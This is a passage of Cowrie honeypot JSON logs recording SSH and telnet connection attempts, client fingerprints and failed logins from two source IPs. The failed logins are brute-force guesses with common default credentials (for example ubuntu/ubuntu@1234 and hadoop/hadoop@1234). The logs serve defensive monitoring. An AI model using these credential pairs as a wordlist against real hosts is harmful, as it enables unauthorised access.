.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:36.986547Z","src_ip":"192.109.200.78","session":"e7b7b6f3a9d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:37.238882Z","src_ip":"192.109.200.78","session":"e7b7b6f3a9d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:38.327529Z","src_ip":"192.109.200.78","session":"e7b7b6f3a9d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.926594257354736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:38.837919Z","src_ip":"206.189.71.75","session":"12638fab421d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.720458030700684,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:39.055469Z","src_ip":"206.189.71.75","session":"3ba6a4850e12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.47.32.235","src_port":49215,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd4c7a11661","protocol":"telnet","message":"New connection: 202.47.32.235:49215 (10.17.0.5:23) [session: 4fd4c7a11661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:39.410510Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":57710,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c0f57b8883a","protocol":"telnet","message":"New connection: 206.189.71.75:57710 (159.203.135.109:23) [session: 3c0f57b8883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:40.855274Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46516,"dst_ip":"10.17.0.5","dst_port":22,"session":"180da866b05c","protocol":"ssh","message":"New connection: 192.109.200.78:46516 (10.17.0.5:22) [session: 180da866b05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:41.144745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:41.152486Z","src_ip":"192.109.200.78","session":"180da866b05c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:41.233925Z","src_ip":"192.109.200.78","session":"180da866b05c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:41.482610Z","src_ip":"192.109.200.78","session":"180da866b05c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":57688,"dst_ip":"159.203.135.109","dst_port":23,"session":"a035514cd8ad","protocol":"telnet","message":"New connection: 206.189.71.75:57688 (159.203.135.109:23) [session: a035514cd8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:41.848798Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:42.565815Z","src_ip":"192.109.200.78","session":"180da866b05c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00273156166077,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:42.629822Z","src_ip":"206.189.71.75","session":"a57029485efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46542,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d11035117f3","protocol":"ssh","message":"New connection: 192.109.200.78:46542 (10.17.0.5:22) [session: 9d11035117f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:45.187912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:45.193047Z","src_ip":"192.109.200.78","session":"9d11035117f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:45.279579Z","src_ip":"192.109.200.78","session":"9d11035117f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:45.527075Z","src_ip":"192.109.200.78","session":"9d11035117f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:46.617255Z","src_ip":"192.109.200.78","session":"9d11035117f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":34470,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb14d0bd1ac0","protocol":"telnet","message":"New connection: 206.189.71.75:34470 (159.203.135.109:23) [session: bb14d0bd1ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:47.889652Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37980,"dst_ip":"10.17.0.5","dst_port":22,"session":"12587a735db6","protocol":"ssh","message":"New connection: 192.109.200.78:37980 (10.17.0.5:22) [session: 12587a735db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:49.359403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:49.364267Z","src_ip":"192.109.200.78","session":"12587a735db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:49.445973Z","src_ip":"192.109.200.78","session":"12587a735db6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:49.697016Z","src_ip":"192.109.200.78","session":"12587a735db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:50.786066Z","src_ip":"192.109.200.78","session":"12587a735db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.87159299850464,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:50.924031Z","src_ip":"206.189.71.75","session":"4986cfaa2b0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.44088816642761,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:51.372067Z","src_ip":"206.189.71.75","session":"101f8133f402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.65406560897827,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:52.702514Z","src_ip":"206.189.71.75","session":"3c3abf6fb48c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.61441135406494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:53.367005Z","src_ip":"206.189.71.75","session":"436f92dab74f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38004,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ede6eac3450","protocol":"ssh","message":"New connection: 192.109.200.78:38004 (10.17.0.5:22) [session: 5ede6eac3450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:53.460107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:53.536011Z","src_ip":"192.109.200.78","session":"5ede6eac3450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:53.701026Z","src_ip":"192.109.200.78","session":"5ede6eac3450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:54.290753Z","src_ip":"192.109.200.78","session":"5ede6eac3450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:55.381334Z","src_ip":"192.109.200.78","session":"5ede6eac3450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83259153366089,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:55.888772Z","src_ip":"206.189.71.75","session":"47b23918cb31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":41916,"dst_ip":"159.203.135.109","dst_port":23,"session":"111daa1c76e7","protocol":"telnet","message":"New connection: 206.189.71.75:41916 (159.203.135.109:23) [session: 111daa1c76e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:56.264898Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":41902,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f237f2c03c1","protocol":"telnet","message":"New connection: 206.189.71.75:41902 (159.203.135.109:23) [session: 9f237f2c03c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:56.270111Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38026,"dst_ip":"10.17.0.5","dst_port":22,"session":"e44fca4fb747","protocol":"ssh","message":"New connection: 192.109.200.78:38026 (10.17.0.5:22) [session: e44fca4fb747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:57.666043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:57.670731Z","src_ip":"192.109.200.78","session":"e44fca4fb747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:57.818895Z","src_ip":"192.109.200.78","session":"e44fca4fb747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:58.075065Z","src_ip":"192.109.200.78","session":"e44fca4fb747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:59.160818Z","src_ip":"192.109.200.78","session":"e44fca4fb747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":45118,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fc818d9d784","protocol":"telnet","message":"New connection: 206.189.71.75:45118 (159.203.135.109:23) [session: 7fc818d9d784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:00.284525Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":45126,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2f9486ccea3","protocol":"telnet","message":"New connection: 206.189.71.75:45126 (159.203.135.109:23) [session: b2f9486ccea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:01.283341Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50204,"dst_ip":"10.17.0.5","dst_port":22,"session":"d96bedb6be8b","protocol":"ssh","message":"New connection: 192.109.200.78:50204 (10.17.0.5:22) [session: d96bedb6be8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:01.868399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:01.874990Z","src_ip":"192.109.200.78","session":"d96bedb6be8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:01.958001Z","src_ip":"192.109.200.78","session":"d96bedb6be8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:02.209638Z","src_ip":"192.109.200.78","session":"d96bedb6be8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:03.301098Z","src_ip":"192.109.200.78","session":"d96bedb6be8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":45306,"dst_ip":"159.203.135.109","dst_port":23,"session":"7321b348bccf","protocol":"telnet","message":"New connection: 206.189.71.75:45306 (159.203.135.109:23) [session: 7321b348bccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:03.473495Z"}
{"eventid":"cowrie.session.closed","duration":34.92419648170471,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:05.350796Z","src_ip":"206.189.71.75","session":"f9eee0066d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50208,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d01b7295028","protocol":"ssh","message":"New connection: 192.109.200.78:50208 (10.17.0.5:22) [session: 2d01b7295028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:05.918135Z"}
